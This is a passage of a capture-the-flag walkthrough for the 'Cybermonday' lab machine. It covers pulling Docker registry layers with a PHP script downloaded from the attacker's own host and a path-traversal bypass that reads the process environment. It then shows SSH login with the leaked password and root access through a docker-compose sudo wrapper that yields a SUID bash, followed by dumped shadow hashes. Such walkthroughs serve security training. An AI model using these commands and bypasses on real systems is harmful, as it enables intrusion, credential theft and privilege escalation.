$tag = 'latest';
$manifestUrl = "{$registry}/v2/{$repo}/manifests/{$tag}";
$name = md5(rand());
$outputDir = "/tmp/$name";
mkdir($outputDir);
function getManifest($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch) . "\n"; exit(1); }
curl_close($ch);
return json_decode($response, true);
}
function downloadLayer($digest) {
global $registry, $repo, $outputDir;
$layerUrl = "{$registry}/v2/{$repo}/blobs/{$digest}";
$filePath = "{$outputDir}/" . explode(":", basename($digest))[1] . ".tar";
echo "Downloading {$digest} to {$filePath}...\n";
$fp = fopen($filePath, 'wb');
if ($fp === false) { echo "Failed to open file for writing: {$filePath}\n"; exit(1); }
$ch = curl_init($layerUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_exec($ch);
if (curl_errno($ch)) { echo 'Curl error: ' . curl_error($ch) . "\n"; exit(1); }
curl_close($ch);
fclose($fp);
echo "Layer saved as {$filePath}\n";
return $filePath;
}
function unzipLayer($filePath) {
$extractPath = str_replace(".tar", ".d", $filePath);
mkdir($extractPath);
$extractCommand = "tar -xvf {$filePath} -C {$extractPath}";
$output = shell_exec($extractCommand);
if ($output === null) { echo "Failed to extract tar file {$filePath}\n"; }
echo "Extracted to {$extractPath}\n";
}
echo "Fetching manifest for {$repo}:{$tag}...\n";
$manifest = getManifest($manifestUrl);
if (!$manifest) { echo "Failed to decode manifest JSON.\n"; exit(1); }
foreach ($manifest['fsLayers'] as $layer) {
$digest = $layer['blobSum'];
echo "Downloading layer: {$digest}\n";
$filePath = downloadLayer($digest);
unzipLayer($filePath);
}
echo "Docker image {$repo}:{$tag} has been successfully pulled.\n";
?>
Download all the layers:
(remote) www-data@070370e2cdc4:/tmp$ rm -rf /tmp/* 2>/dev/null; curl 10.10.14.113/pullme.php -o /tmp/pullme.php; php /tmp/pullme.php
(remote) www-data@070370e2cdc4:/tmp$ cd a688c5a1de429959f91f2db7cc699d33/
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33$ find . -empty -delete
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33$ find . -name www -type d
./ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.d/var/www
./beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www
/var/www/html
contains html, but variables are taken from ENV.
LFI in Logs
LogsController.php
seems to be vulnerable to path traversal.
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/controllers$ cat LogsController.php
<?php
namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;
class LogsController extends Api {
public function index($request) {
$this->apiKeyAuth();
$webhook = new Webhook;
$webhook_find = $webhook->find("uuid", $request->uuid);
if (!$webhook_find) { return $this->response(["status" => "error", "message" => "Webhook not found"], 404); }
if ($webhook_find->action != "createLogFile") { return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400); }
$actions = ["list", "read"];
if (!isset($this->data->action) || empty($this->data->action)) { return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400); }
if ($this->data->action == "read") { if (!isset($this->data->log_name) || empty($this->data->log_name)) { return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400); } }
if (!in_array($this->data->action, $actions)) { return $this->response(["status" => "error", "message" => "invalid action"], 400); }
$logPath = "/logs/{$webhook_find->name}/";
switch ($this->data->action) {
case "list":
$logs = scandir($logPath);
array_splice($logs, 0, 1);
array_splice($logs, 0, 1);
return $this->response(["status" => "success", "message" => $logs]);
case "read":
$logName = $this->data->log_name;
if (preg_match("/\.\.\//", $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }
$logName = str_replace(' ', '', $logName);
if (stripos($logName, "log") === false) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }
if (!file_exists($logPath . $logName)) { return $this->response(["status" => "error", "message" => "This log does not exist"]); }
$logContent = file_get_contents($logPath . $logName);
return $this->response(["status" => "success", "message" => $logContent]);
}
}
}
The read
method is blocking ../
usage, but later on processeds to remove spaces?... . ./
-> ../
One more bypass is that it needs log
word to exist in $logName
Path to logs is /webhooks/:uuid/logs
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/routes$ cat Router.php
<?php
namespace app\routes;
use app\core\Controller;
class Router
{
public static function get()
{
return [
"get" => [
"/" => "IndexController@index",
"/webhooks" => "WebhooksController@index"
],
"post" => [
"/auth/register" => "AuthController@register",
"/auth/login" => "AuthController@login",
"/webhooks/create" => "WebhooksController@create",
"/webhooks/:uuid" => "WebhooksController@get",
"/webhooks/:uuid/logs" => "LogsController@index"
],
"delete" => [
"/webhooks/delete/:uuid" => "WebhooksController@delete",
]
];
}
When requesting to do any actions we get permission denied, looking into apiKeyAuth
method we see it wants a hardcoded key.
(remote) www-data@070370e2cdc4:/tmp/a688c5a1de429959f91f2db7cc699d33/beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.d/var/www/html/app/helpers$ cat Api.php
public function apiKeyAuth() {
$this->api_key = "22892e36-1770-11ee-be56-0242ac120002";
if (!isset($_SERVER["HTTP_X_API_KEY"]) || empty($_SERVER["HTTP_X_API_KEY"]) || $_SERVER["HTTP_X_API_KEY"] != $this->api_key) {
return $this->response(["status" => "error", "message" => "Unauthorized"], 403);
}
}


Get the environment for application

└─$ curl 'http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77/logs' -H 'x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ4Iiwicm9sZSI6ImFkbWluIn0.HCwkfvy7SghF9SrDxYXIkscyehsUIknrG3kRou1wUQk' -H 'X-API-KEY: 22892e36-1770-11ee-be56-0242ac120002' --json '{"log_name":". ./. ./. ./. ./logs/. ./. ./proc/self/environ", "action": "read"}' -s | jq .message -r |
tr '\0' '\n'
HOSTNAME=e1862f4e1242
PHP_INI_DIR=/usr/local/etc/php
HOME=/root
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
DBPASS=ngFfX2L71Nu
PHP_VERSION=8.2.7
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.2.7.tar.xz.asc
PHP_URL=https://www.php.net/distributions/php-8.2.7.tar.xz
DBHOST=db
DBUSER=dbuser
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DBNAME=webhooks_api
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PWD=/var/www/html
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0
SSH (22)
We previously found the /mnt/*
directory which had authorized_keys
leaking username john
, if we try to ssh we are successful.
Creds:
john:ngFfX2L71Nu
└─$ ssh john@cybermonday.htb
john@cybermonday:~$ id
uid=1000(john) gid=1000(john) groups=1000(john)
User.txt
john@cybermonday:~$ cat user.txt
9f649b1bf1769b258fd2c1c8487a88be
Privilege Escalation
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
john@cybermonday:~$ cat /opt/secure_compose.py
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user(): return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
We can't use privileged
, but we can abuse other things like capabilities and disabling apparmor.

john@cybermonday:/dev/shm$ nano letmein.yml
john@cybermonday:/dev/shm$ cp /bin/bash /home/john/
john@cybermonday:/dev/shm$ sudo /opt/secure_compose.py letmein.yml
---
(remote) root@19447a68246c:/home/john# id
uid=0(root) gid=0(root) groups=0(root)
(remote) root@19447a68246c:/home/john# ls
bash changelog.txt logs user.txt
## No permissions to change binary permissions
(remote) root@19447a68246c:/home/john# chmod 4777 bash
chmod: changing permissions of 'bash': Read-only file system
## Found our mount
(remote) root@19447a68246c:/home/john# mount | grep john
/dev/sda1 on /home/john type ext4 (ro,relatime,errors=remount-ro)
## Remount it as ReadWrite
(remote) root@19447a68246c:/home/john# mount -o remount,rw /dev/sda1 /home/john
(remote) root@19447a68246c:/home/john# mount | grep john
/dev/sda1 on /home/john type ext4 (rw,relatime,errors=remount-ro)
## Change owner, then permissions
(remote) root@19447a68246c:/home/john# chown root:root bash
(remote) root@19447a68246c:/home/john# chmod 4777 bash
---
john@cybermonday:/dev/shm$ ls -alh ~/bash
-rwsrwxrwx 1 root root 1.2M Dec 6 08:49 /home/john/bash
bash-5.1# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john)
Root.txt
bash-5.1# cat /root/root.txt
a33008f84b75ee4719fd6c51ceb53064
Shadow
bash-5.1# cat /etc/shadow | grep '\$y'
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::
Last updated